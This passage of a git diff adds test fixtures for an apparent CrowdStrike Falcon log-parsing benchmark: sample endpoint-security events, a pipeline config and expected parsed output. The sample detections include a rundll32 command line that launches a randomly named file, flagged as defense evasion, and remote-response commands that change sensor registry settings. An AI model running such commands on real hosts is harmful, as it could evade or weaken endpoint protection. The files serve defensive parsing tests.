+        "Tactic": "Malware",
+        "Technique": "Ransomware",
+        "Objective": "Falcon Detection Method",
+        "PatternDispositionDescription": "Prevention, process killed.",
+        "PatternDispositionValue": 16,
+        "PatternDispositionFlags": {
+            "Indicator": false,
+            "Detect": false,
+            "InddetMask": false,
+            "SensorOnly": false,
+            "Rooting": false,
+            "KillProcess": true,
+            "KillSubProcess": false,
+            "QuarantineMachine": false,
+            "QuarantineFile": false,
+            "PolicyDisabled": false,
+            "KillParent": false,
+            "OperationBlocked": false,
+            "ProcessBlocked": false
+        }
+    }
+}
+{
+    "metadata": {
+        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+        "offset": 1824,
+        "eventType": "IncidentSummaryEvent",
+        "eventCreationTime": 1583295476766,
+        "version": "1.0"
+    },
+    "event": {
+        "IncidentStartTime": 1583295228,
+        "IncidentEndTime": 1583295470,
+        "FalconHostLink": "https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+        "State": "open",
+        "FineScore": 1.2
+    }
+}
+{
+    "metadata": {
+        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+        "offset": 22865,
+        "eventType": "UserActivityAuditEvent",
+        "eventCreationTime": 1593186952000,
+        "version": "1.0"
+    },
+    "event": {
+        "UserId": "Crowdstrike",
+        "UserIp": "",
+        "OperationName": "quarantined_file_update",
+        "ServiceName": "quarantined_files",
+        "AuditKeyValues": [
+            {
+                "Key": "quarantined_file_id",
+                "ValueString": "35b35a53da374816a6b471cf09e12019_a076d3121743755f2d4f8d4d5807f0bc013177f7847d09b48e76de88ace08c78"
+            },
+            {
+                "Key": "action_taken",
+                "ValueString": "quarantined"
+            }
+        ],
+        "UTCTimestamp": 1593186952
+    }
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/sample_logs/falcon-sample.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/sample_logs/falcon-sample.log
new file mode 100644
index 0000000000..87070601c1
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/sample_logs/falcon-sample.log
@@ -0,0 +1,254 @@
+{
+    "metadata": {
+        "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
+        "offset": 70689,
+        "eventType": "FirewallMatchEvent",
+        "eventCreationTime": 1595248906000,
+        "version": "1.0"
+    },
+    "event": {
+        "DeviceId": "718af202ab2c4ba5b6a5d10d39c0e0a5",
+        "CustomerId": "12345a1bc2d34fghi56jk7890lmno12p",
+        "Ipv": "ipv4",
+        "CommandLine": "",
+        "ConnectionDirection": "1",
+        "EventType": "FirewallRuleIP4Matched",
+        "Flags": {
+            "Audit": false,
+            "Log": false,
+            "Monitor": true
+        },
+        "HostName": "TESTDEVICE01",
+        "ICMPCode": "",
+        "ICMPType": "",
+        "ImageFileName": "",
+        "LocalAddress": "10.37.60.194",
+        "LocalPort": "445",
+        "MatchCount": 1,
+        "MatchCountSinceLastReport": 1,
+        "NetworkProfile": "2",
+        "PID": "206158879910",
+        "PolicyName": "PROD-FW-Workstations-General",
+        "PolicyID": "74e7f1552a3a4d90a6d65578642c8584",
+        "Protocol": "6",
+        "RemoteAddress": "10.37.60.21",
+        "RemotePort": "54952",
+        "RuleAction": "2",
+        "RuleDescription": "",
+        "RuleFamilyID": "fec73e96a1bf4481be582c3f89b234fa",
+        "RuleGroupName": "SMB Rules",
+        "RuleName": "Inbound SMB Block \u0026 Log Private",
+        "RuleId": "4877172638743447345",
+        "Status": "",
+        "Timestamp": "2020-07-20T12:41:44Z",
+        "TreeID": ""
+    }
+}
+{
+    "metadata": {
+        "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
+        "offset": 57181,
+        "eventType": "IncidentSummaryEvent",
+        "eventCreationTime": 1595005328414,
+        "version": "1.0"
+    },
+    "event": {
+        "IncidentStartTime": 1595005316,
+        "IncidentEndTime": 1595005316,
+        "FalconHostLink": "https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:1234567893cd4e55b3a832ba2140478e:72e291e40c1544d390eabf135d875e54",
+        "State": "open",
+        "FineScore": 0.1,
+        "LateralMovement": 0
+    }
+}
+{
+    "metadata": {
+        "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
+        "offset": 70509,
+        "eventType": "AuthActivityAuditEvent",
+        "eventCreationTime": 1595247970093,
+        "version": "1.0"
+    },
+    "event": {
+        "UserId": "first.last@company.com",
+        "UserIp": "67.43.156.15",
+        "OperationName": "saml2Assert",
+        "ServiceName": "Crowdstrike Authentication",
+        "Success": true,
+        "UTCTimestamp": 1595247970,
+        "AuditKeyValues": [
+            {
+                "Key": "trace_id",
+                "ValueString": "b0b33836-555c-4e0e-a5ef-d368f6799f6b"
+            },
+            {
+                "Key": "actor_user",
+                "ValueString": "first.last@company.com"
+            },
+            {
+                "Key": "actor_user_uuid",
+                "ValueString": "123ab123-abc1-12a1-12a1-12a1ab12a1a1"
+            },
+            {
+                "Key": "actor_cid",
+                "ValueString": "123456a1ab1a12abc12ab1234abcd12a"
+            },
+            {
+                "Key": "target_user",
+                "ValueString": "first.last@company.com"
+            }
+        ]
+    }
+}
+{
+    "metadata": {
+        "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
+        "offset": 70683,
+        "eventType": "UserActivityAuditEvent",
+        "eventCreationTime": 1595248885000,
+        "version": "1.0"
+    },
+    "event": {
+        "UserId": "Crowdstrike",
+        "UserIp": "",
+        "OperationName": "quarantined_file_update",
+        "ServiceName": "quarantined_files",
+        "AuditKeyValues": [
+            {
+                "Key": "quarantined_file_id",
+                "ValueString": "ab1cde05567b455b93afbe2d3df352c9_328024a065630f897f09963d4b67b0c95d4054f540c2ca8014d5b012718bfa21"
+            },
+            {
+                "Key": "action_taken",
+                "ValueString": "quarantined"
+            }
+        ],
+        "UTCTimestamp": 1595248885
+    }
+}
+{
+    "metadata": {
+        "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
+        "offset": 57217,
+        "eventType": "RemoteResponseSessionStartEvent",
+        "eventCreationTime": 1595006093000,
+        "version": "1.0"
+    },
+    "event": {
+        "SessionId": "330633db-1cda-4355-b0d8-2c2edc91fe3e",
+        "HostnameField": "TESTDEVICE01",
+        "UserName": "first.last@company.com",
+        "StartTimestamp": 1595006093
+    }
+}
+{
+    "metadata": {
+        "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
+        "offset": 57269,
+        "eventType": "RemoteResponseSessionEndEvent",
+        "eventCreationTime": 1595006899000,
+        "version": "1.0"
+    },
+    "event": {
+        "SessionId": "330633db-1cda-4355-b0d8-2c2edc91fe3e",
+        "HostnameField": "TESTDEVICE01",
+        "UserName": "first.last@company.com",
+        "EndTimestamp": 1595006899,
+        "Commands": [
+            "cd \\Program Files (x86)\\Symantec",
+            "ls .",
+            "cd \\Program Files (x86)",
+            "ls .",
+            "reg query HKEY_LOCAL_MACHINE\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-48c9-a204-725362b67639}\\Default",
+            "reg set HKEY_LOCAL_MACHINE\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-48c9-a204-725362b67639}\\Default GroupingTags -ValueType=```REG_SZ``` -Value=```Protect```",
+            "reg query HKEY_LOCAL_MACHINE\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-48c9-a204-725362b67639}\\Default",
+            "restart",
+            "restart -Confirm"
+        ]
+    }
+}
+{
+    "metadata": {
+        "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
+        "offset": 57047,
+        "eventType": "DetectionSummaryEvent",
+        "eventCreationTime": 1595002291000,
+        "version": "1.0"
+    },
+    "event": {
+        "ProcessStartTime": 1595002290,
+        "ProcessEndTime": 1595002290,
+        "ProcessId": 663790158277,
+        "ParentProcessId": 627311656469,
+        "ComputerName": "TESTDEVICE01",
+        "UserName": "First.last",
+        "DetectName": "NGAV",
+        "DetectDescription": "This file meets the machine learning-based on-sensor AV protection's low confidence threshold for malicious files.",
+        "Severity": 2,
+        "SeverityName": "Low",
+        "FileName": "filename.exe",
+        "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path",
+        "CommandLine": "\"C:\\ProgramData\\file\\path\\filename.exe\" ",
+        "SHA256String": "0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb",
+        "MD5String": "0ab1235adca04aef6239f5496ef0a5df",
+        "SHA1String": "0000000000000000000000000000000000000000",
+        "MachineDomain": "NA",
+        "ExecutablesWritten": [
+            {
+                "Timestamp": 1595002290,
+                "FileName": "NEURO_200_J1939Configuration.mexw64",
+                "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder"
+            },
+            {
+                "Timestamp": 1595002290,
+                "FileName": "NEURO_200_J1939Configuration.mexw64",
+                "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder"
+            },
+            {
+                "Timestamp": 1595002290,
+                "FileName": "NEURO_200_J1939CanPackMessage.mexw64",
+                "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder"
+            },
+            {
+                "Timestamp": 1595002290,
+                "FileName": "NEURO_200_J1939CanPackMessage.mexw64",
+                "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder"
+            }
+        ],
+        "FalconHostLink": "https://falcon.crowdstrike.com/activity/detections/detail/1abcd2345b8c4151a0cb45dcfbe6d3d0/124559902719?_cid=12345a1bc2d34fghi56jk7890lmno12p",
+        "SensorId": "1abcd2345b8c4151a0cb45dcfbe6d3d0",
+        "IOCType": "hash_sha256",
+        "IOCValue": "0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb",
+        "DetectId": "ldt:1abcd2345b8c4151a0cb45dcfbe6d3d0:124559902719",
+        "LocalIP": "10.1.190.117",
+        "MACAddress": "54-ad-d4-d2-a8-0b",
+        "Tactic": "Machine Learning",
+        "Technique": "Sensor-based ML",
+        "Objective": "Falcon Detection Method",
+        "PatternDispositionDescription": "Detection, process would have been blocked if related prevention policy setting was enabled.",
+        "PatternDispositionValue": 2304,
+        "PatternDispositionFlags": {
+            "Indicator": false,
+            "Detect": false,
+            "InddetMask": false,
+            "SensorOnly": false,
+            "Rooting": false,
+            "KillProcess": false,
+            "KillSubProcess": false,
+            "QuarantineMachine": false,
+            "QuarantineFile": false,
+            "PolicyDisabled": true,
+            "KillParent": false,
+            "OperationBlocked": false,
+            "ProcessBlocked": true,
+            "RegistryOperationBlocked": false,
+            "CriticalProcessDisabled": false,
+            "BootupSafeguardEnabled": false,
+            "FsOperationBlocked": false
+        },
+        "ParentImageFileName": "\\Device\\HarddiskVolume2\\Windows\\explorer.exe",
+        "ParentCommandLine": "C:\\Windows\\Explorer.EXE",
+        "GrandparentImageFileName": "\\Device\\HarddiskVolume2\\Windows\\System32\\userinit.exe",
+        "GrandparentCommandLine": "C:\\Windows\\system32\\userinit.exe"
+    }
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-common-config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-common-config.yml
new file mode 100644
index 0000000000..60eecfd47f
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-common-config.yml
@@ -0,0 +1,15 @@
+multiline:
+  first_line_pattern: "^{"
+fields:
+  tags:
+    - preserve_original_event
+numeric_keyword_fields:
+  - crowdstrike.event.ExecutablesWritten.Timestamp
+  - crowdstrike.event.MobileAppsDetails.IsBeingDebugged
+  - crowdstrike.event.MobileAppsDetails.IsContainerized
+  - crowdstrike.event.NetworkAccesses.AccessTimestamp
+  - crowdstrike.event.NetworkAccesses.AccessType
+  - crowdstrike.event.NetworkAccesses.ConnectionDirection
+  - crowdstrike.event.NetworkAccesses.IsIPV6
+  - crowdstrike.event.NetworkAccesses.LocalPort
+  - crowdstrike.event.NetworkAccesses.RemotePort
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-event-stream.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-event-stream.log
new file mode 100644
index 0000000000..e3f3350c38
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-event-stream.log
@@ -0,0 +1,10 @@
+{"metadata":{"customerIDString":"abcabcabc22222","offset":8693900,"eventType":"FirewallMatchEvent","eventCreationTime":1698921571000,"version":"1.0"},"event":{"DeviceId":"6734ff444f4456","CustomerId":"abcabcabc22222","Ipv":"ipv4","CommandLine":"System","ConnectionDirection":"1","EventType":"FirewallRuleIP4Matched","Flags":{"Audit":false,"Log":true,"Monitor":true},"HostName":"INPUNEDITCLP229","ICMPCode":"","ICMPType":"","ImageFileName":"System","LocalAddress":"81.2.69.142","LocalPort":"445","MatchCount":1,"MatchCountSinceLastReport":1,"NetworkProfile":"2","PID":"11111111","PolicyName":"PROD-FW-Workstations-Office-20201001","PolicyID":"3ec266b28bef471f9fd990e4f39ac829","Protocol":"6","RemoteAddress":"81.2.69.142","RemotePort":"53452","RuleAction":"2","RuleDescription":"","RuleFamilyID":"11111111aaaaaaaa","RuleGroupName":"SMBRules","RuleName":"InboundSMBBlock\u0026LogPrivate","RuleId":"4877172638743447345","Status":"","Timestamp":"2023-11-02T10:39:29Z","TreeID":"","Platform":"windows"}}
+{"metadata":{"customerIDString":"abcabcabc22222","offset":8693906,"eventType":"IdpDetectionSummaryEvent","eventCreationTime":1698921607000,"version":"1.0"},"event":{"ContextTimeStamp":133433951380000000,"DetectId":"abcabcabc22222:ind:abcabcabc22222:5E8D397E-79C1-AAAA-9715-EEEEEE2222","DetectName":"Unusual login to an endpoint","DetectDescription":"A user logged into a machine for the first time","FalconHostLink":"https://falcon.crowdstrike.com/identity-protection/detections/abcabcabc22222:ind:abcabcabc22222:5E8D397E-79C1-AAAA-9715-EEEEEE2222?_cid=abcabcabc22222","StartTime":133433949600000000,"EndTime":133433949600000000,"Severity":34,"SeverityName":"Low","Tactic":"InitialAccess","Technique":"ValidAccounts","Objective":"Gain Access","SourceAccountDomain":"NA.AAA.ABC.com","SourceAccountName":"abc.service","SourceAccountUpn":"admin.service@example.com","SourceAccountObjectSid":"S-1-S-1-S-1-1111-1844237615-1801674531-175881","SourceEndpointAccountObjectGuid":"C078A5DA-E13B-4418-AA28-802EF8C16210","SourceEndpointAccountObjectSid":"S-1-S-1-S-1-1111-1844237615-1801674531-316681","SourceEndpointHostName":"nope122.na.net.ABC.com","SourceEndpointIpAddress":"81.2.69.142","SourceEndpointSensorId":"a2f1de586958434eb5e14e30214e17ed","ActivityId":"76CC8396-7148-4CEB-84CB-08FAFE4FAC37","PatternId":51135,"SourceVendors":"CrowdStrike","SourceProducts":"FalconIdentityProtection","DataDomains":"Identity"}}
+{"metadata":{"customerIDString":"abcabcabc22222","offset":8694126,"eventType":"IdentityProtectionEvent","eventCreationTime":1698923523065,"version":"1.0"},"event":{"IncidentType":"Unusuallogintoanendpoint","IncidentDescription":"Unusuallogintoanendpoint","Severity":4,"SeverityName":"LOW","StartTime":1698923340000,"EndTime":1698923340000,"IdentityProtectionIncidentId":"7a79b2de-4e10-41fb-818f-2bdf53c1625a","UserName":"NA.NET.ABC.com\\abc.service","EndpointName":"itreg1d3wp8vh3.eu.net.ABC.com","EndpointIp":"","Category":"Detections","NumbersOfAlerts":1,"NumberOfCompromisedEntities":2,"State":"NEW","FalconHostLink":"https://falcon.crowdstrike.com/identity-protection/detections/abcabcabc22222:ind:abcabcabc22222:7A79B2DE-4E10-41FB-818F-2BDF53C1625A"}}
+{"metadata":{"customerIDString":"abcabcabc22222","offset":8694676,"eventType":"AuthActivityAuditEvent","eventCreationTime":1698927699286,"version":"1.0"},"event":{"UserId":"admin.rose@example.com","UserIp":"81.2.69.144","OperationName":"saml2Assert","ServiceName":"CrowdstrikeAuthentication","Success":true,"UTCTimestamp":1698927699,"AuditKeyValues":[{"Key":"target_user","ValueString":"admin.rose@example.com"},{"Key":"trace_id","ValueString":"19169200-76c5-4861-92f1-355d0a908f40"},{"Key":"saml_envelope","ValueString":"SampleValue"},{"Key":"saml_assertion","ValueString":"sampleassertion"},{"Key":"app_id","ValueString":"fa8e047e-2e60-4837-b987-c57020947cd6"},{"Key":"actor_user","ValueString":"admin.rose@example.com"},{"Key":"actor_user_uuid","ValueString":"8940ddf0-bc3c-480b-a05a-bb94ff5dc0fb"},{"Key":"actor_cid","ValueString":"abcabcabc22222"}],"Attributes":{"actor_cid":"abcabcabc22222","actor_user":"admin.rose@example.com","actor_user_uuid":"00000000-aaaa-480b-a05a-bb94ff5dc0fb","app_id":"aaaaaaaa-2e60-4837-b987-c57020947cd6","saml_assertion":"saml_assertion_sample","target_user":"admin.rose@example.com","trace_id":"000000-76c5-4861-92f1-355d0a908f40"}}}
+{"metadata":{"customerIDString":"abcabcabc22222","offset":8694733,"eventType":"UserActivityAuditEvent","eventCreationTime":1698928127000,"version":"1.0"},"event":{"UserId":"admin.rose@example.com","UserIp":"81.2.69.144","OperationName":"reveal_token","ServiceName":"sensor_update_policy","AuditKeyValues":[{"Key":"device_id","ValueString":"abcancancbanjjagjaj"},{"Key":"seedID","ValueString":"101"},{"Key":"message","ValueString":"Removeduplicatesensor."}],"UTCTimestamp":1698928127,"Attributes":{"device_id":"afjafanfafasfjaf","message":"Removeduplicatesensor.","seedID":"101"}}}
+{"metadata":{"customerIDString":"abcabcabc22222","offset":8694992,"eventType":"ScheduledReportNotificationEvent","eventCreationTime":1698930172000,"version":"1.0"},"event":{"UserUUID":"9999999-bc3c-99bb-a05a-bb94ff5dc0fb","UserID":"admin.rose@example.com","ExecutionID":"efghtigh","ReportID":"999999ddddddddd","ReportName":"LarouxSearch","ReportType":"event_search","ReportFileReference":"/reports/entities/report-executions-download/v1?ids=eeeeeeeeeerrrrr444444","Status":1,"StatusMessage":"message","ExecutionMetadata":{"ExecutionStart":1698930019000,"ExecutionDuration":152176,"ReportFileName":"Laroux_Search_2023_November_2_13017_34176.csv","ResultCount":0,"ResultID":"fffffzdlIiwiY3VzdG9tZXJfYXBwIjoiZWFtIiwic2lnbmF0dXJlX3BvcnRpb24iOiIzYWRhOTZiNDA4MTkxNTFhZmIxYjFkOTM2MWZhMmE1NjBmNGNkMzc0ODQxNTY4MDlkYzhmNDRkMmRkZDY1NzdlIn0=","SearchWindowStart":1698843600000,"SearchWindowEnd":1698930000000}}}
+{"metadata":{"customerIDString":"abcabcabc22222","offset":8695284,"eventType":"RemoteResponseSessionStartEvent","eventCreationTime":1698932494000,"version":"1.0"},"event":{"SessionId":"1111-fffff-4bb4-99c1-74c13cfc3e5a","HostnameField":"UKCHUDL00206","UserName":"admin.rose@example.com","StartTimestamp":1698932494,"AgentIdString":"fffffffff33333"}}
+{"metadata":{"customerIDString":"abcabcabc22222","offset":8695332,"eventType":"DetectionSummaryEvent","eventCreationTime":1698932615000,"version":"1.0"},"event":{"ProcessStartTime":1698932614,"ProcessEndTime":1698932614,"ProcessId":54665651,"ParentProcessId":540396081,"ComputerName":"INNOIDL0032","UserName":"vishnu.sharma","DetectName":"AttackerMethodology","DetectDescription":"Rundll32launchedafilewithanunusualname.Somemalwareabusesrundll32tolaunchmaliciouspayloads.Investigatethecommandlinearguments,astheylikelyreferencethemaliciouspayload.","Severity":4,"SeverityName":"High","FileName":"rundll32.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32","CommandLine":"\"C:\\Windows\\System32\\rundll32.exe\"\\lwbuimisawnmsfdjmazvobzb.brl,kokknnjfybyqjrrh","SHA256String":"d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e","MD5String":"a52bfa4a96f97c368312028dbd7c8461","SHA1String":"0000000000000000000000000000000000000000","MachineDomain":"AP","FalconHostLink":"https://falcon.crowdstrike.com/activity/detections/detail/6902738b2a374a718cd9a45085baaf50/2246270721205?_cid=gffffffffy3zjobdz7ewb4xjqyjsy5a","SensorId":"69027ffffffffffffaaf50","IOCType":"hash_sha256","IOCValue":"d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e","DetectId":"ldt:690ddddddd0721205","LocalIP":"81.2.69.144","MACAddress":"02-50-41-00-00-01","Tactic":"DefenseEvasion","Technique":"Rundll32","Objective":"KeepAccess","PatternDispositionDescription":"Prevention,processwasblockedfromexecution.","PatternDispositionValue":2048,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":false,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":true,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","ParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandparentImageFileName":"\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe","GrandparentCommandLine":"C:\\Windows\\system32\\userinit.exe","HostGroups":"e2091491a28248eaae3ede9f217e03fc,e837d750b8ba400c953380da346e2b04,186c20383a98495cb0e0a7d5540f3aff,24d1f760fcdc46d992bb8f41d7dd897b,2b7bd0fede874baaa1afdea20f255632,a293aded9c4548469d0e853b7267cce5,adab9db4541040729e01d16211189a27,b75b27ce17244922bd0a862a712ea812","Tags":"SensorGroupingTags/USB_Storage_Exception","AssociatedFile":"\\Device\\HarddiskVolume4\\Windows\\System32\\rundll32.exe","PatternId":10186}}
+{"metadata":{"customerIDString":"abcabcabc22222","offset":8698239,"eventType":"IncidentSummaryEvent","eventCreationTime":1698971797000,"version":"1.0"},"event":{"IncidentStartTime":1698971797,"IncidentEndTime":1698971797,"FalconHostLink":"https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:654a735066d640939aaaaaaaaaaaaaaaaaaaaaaaf47349032acd86820223e?_cid=ggggffffhhhhjjjjj","State":"open","FineScore":6.1,"LateralMovement":0,"IncidentType":1,"IncidentID":"inc:654a735066d640939aaaaaaaaaaaaaaaaaaaaaaaf47349032acd86820223e","HostID":"4345454534534545"}}
+{"metadata":{"customerIDString":"abcabcabc22222","offset":8695332,"eventType":"DetectionSummaryEvent","eventCreationTime":1698932615000,"version":"1.0"},"event":{"ProcessStartTime":1698932614,"ProcessEndTime":1698932614,"ProcessId":54665651,"ParentProcessId":540396081,"ComputerName":"INNOIDL0032","UserName":"vishnu.sharma","DetectName":"AttackerMethodology","DetectDescription":"Rundll32launchedafilewithanunusualname.Somemalwareabusesrundll32tolaunchmaliciouspayloads.Investigatethecommandlinearguments,astheylikelyreferencethemaliciouspayload.","Severity":4,"SeverityName":"High","FileName":"rundll32.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32","CommandLine":"\"C:\\Windows\\System32\\rundll32.exe\"\\lwbuimisawnmsfdjmazvobzb.brl,kokknnjfybyqjrrh","SHA256String":"d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e","MD5String":"a52bfa4a96f97c368312028dbd7c8461","SHA1String":"0000000000000000000000000000000000000000","MachineDomain":"AP","FalconHostLink":"https://falcon.crowdstrike.com/activity/detections/detail/6902738b2a374a718cd9a45085baaf50/2246270721205?_cid=gffffffffy3zjobdz7ewb4xjqyjsy5a","SensorId":"69027ffffffffffffaaf50","IOCType":"hash_sha256","IOCValue":"d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e","DetectId":"ldt:690ddddddd0721205","LocalIP":"81.2.69.144","MACAddress":"02-50-41-00-00-01","Tactic":"DefenseEvasion","Technique":"Rundll32","Objective":"KeepAccess","PatternDispositionDescription":"Prevention,processwasblockedfromexecution.","PatternDispositionValue":2048,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":false,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":true,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","ParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandparentImageFileName":"\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe","GrandparentCommandLine":"C:\\Windows\\system32\\userinit.exe","HostGroups":"e2091491a28248eaae3ede9f217e03fc,e837d750b8ba400c953380da346e2b04,186c20383a98495cb0e0a7d5540f3aff,24d1f760fcdc46d992bb8f41d7dd897b,2b7bd0fede874baaa1afdea20f255632,a293aded9c4548469d0e853b7267cce5,adab9db4541040729e01d16211189a27,b75b27ce17244922bd0a862a712ea812","Tags":"SensorGroupingTags/USB_Storage_Exception","AssociatedFile":"\\Device\\HarddiskVolume4\\Windows\\System32\\rundll32.exe","PatternId":10186,"MitreAttack":[{"Tactic":"DefenseEvasion","Technique":"Rundll32","PatternID":10186}]}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-event-stream.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-event-stream.log-expected.json
new file mode 100644
index 0000000000..6223e02bb5
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-event-stream.log-expected.json
@@ -0,0 +1,984 @@
+{
+    "expected": [
+        {
+            "@timestamp": "2023-11-02T10:39:31.000Z",
+            "crowdstrike": {
+                "event": {
+                    "CustomerId": "abcabcabc22222",
+                    "DeviceId": "6734ff444f4456",
+                    "Flags": {
+                        "Audit": false,
+                        "Log": true,
+                        "Monitor": true
+                    },
+                    "MatchCount": 1,
+                    "MatchCountSinceLastReport": 1,
+                    "NetworkProfile": "2",
+                    "PolicyID": "3ec266b28bef471f9fd990e4f39ac829",
+                    "PolicyName": "PROD-FW-Workstations-Office-20201001",
+                    "Protocol": "6",
+                    "RuleAction": "2",
+                    "Timestamp": "2023-11-02T10:39:29Z"
+                },
+                "metadata": {
+                    "customerIDString": "abcabcabc22222",
+                    "eventType": "FirewallMatchEvent",
+                    "offset": 8693900,
+                    "version": "1.0"
+                }
+            },
+            "destination": {
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": "81.2.69.142",
+                "port": 445
+            },
+            "device": {
+                "id": "6734ff444f4456"
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": [
+                    "firewall_match_event"
+                ],
+                "category": [
+                    "network"
+                ],
+                "code": "FirewallRuleIP4Matched",
+                "created": "2023-11-02T10:39:31.000Z",
+                "kind": "event",
+                "original": "{\"metadata\":{\"customerIDString\":\"abcabcabc22222\",\"offset\":8693900,\"eventType\":\"FirewallMatchEvent\",\"eventCreationTime\":1698921571000,\"version\":\"1.0\"},\"event\":{\"DeviceId\":\"6734ff444f4456\",\"CustomerId\":\"abcabcabc22222\",\"Ipv\":\"ipv4\",\"CommandLine\":\"System\",\"ConnectionDirection\":\"1\",\"EventType\":\"FirewallRuleIP4Matched\",\"Flags\":{\"Audit\":false,\"Log\":true,\"Monitor\":true},\"HostName\":\"INPUNEDITCLP229\",\"ICMPCode\":\"\",\"ICMPType\":\"\",\"ImageFileName\":\"System\",\"LocalAddress\":\"81.2.69.142\",\"LocalPort\":\"445\",\"MatchCount\":1,\"MatchCountSinceLastReport\":1,\"NetworkProfile\":\"2\",\"PID\":\"11111111\",\"PolicyName\":\"PROD-FW-Workstations-Office-20201001\",\"PolicyID\":\"3ec266b28bef471f9fd990e4f39ac829\",\"Protocol\":\"6\",\"RemoteAddress\":\"81.2.69.142\",\"RemotePort\":\"53452\",\"RuleAction\":\"2\",\"RuleDescription\":\"\",\"RuleFamilyID\":\"11111111aaaaaaaa\",\"RuleGroupName\":\"SMBRules\",\"RuleName\":\"InboundSMBBlock\\u0026LogPrivate\",\"RuleId\":\"4877172638743447345\",\"Status\":\"\",\"Timestamp\":\"2023-11-02T10:39:29Z\",\"TreeID\":\"\",\"Platform\":\"windows\"}}",
+                "type": [
+                    "start",
+                    "connection",
+                    "denied"
+                ]
+            },
+            "host": {
+                "name": "INPUNEDITCLP229",
+                "os": {
+                    "platform": "windows"
+                }
+            },
+            "message": "Firewall Rule: 'InboundSMBBlock&LogPrivate' triggered - Action: 'Blocked'",
+            "network": {
+                "direction": "ingress",
+                "type": "ipv4"
+            },
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "process": {
+                "args": [
+                    "System"
+                ],
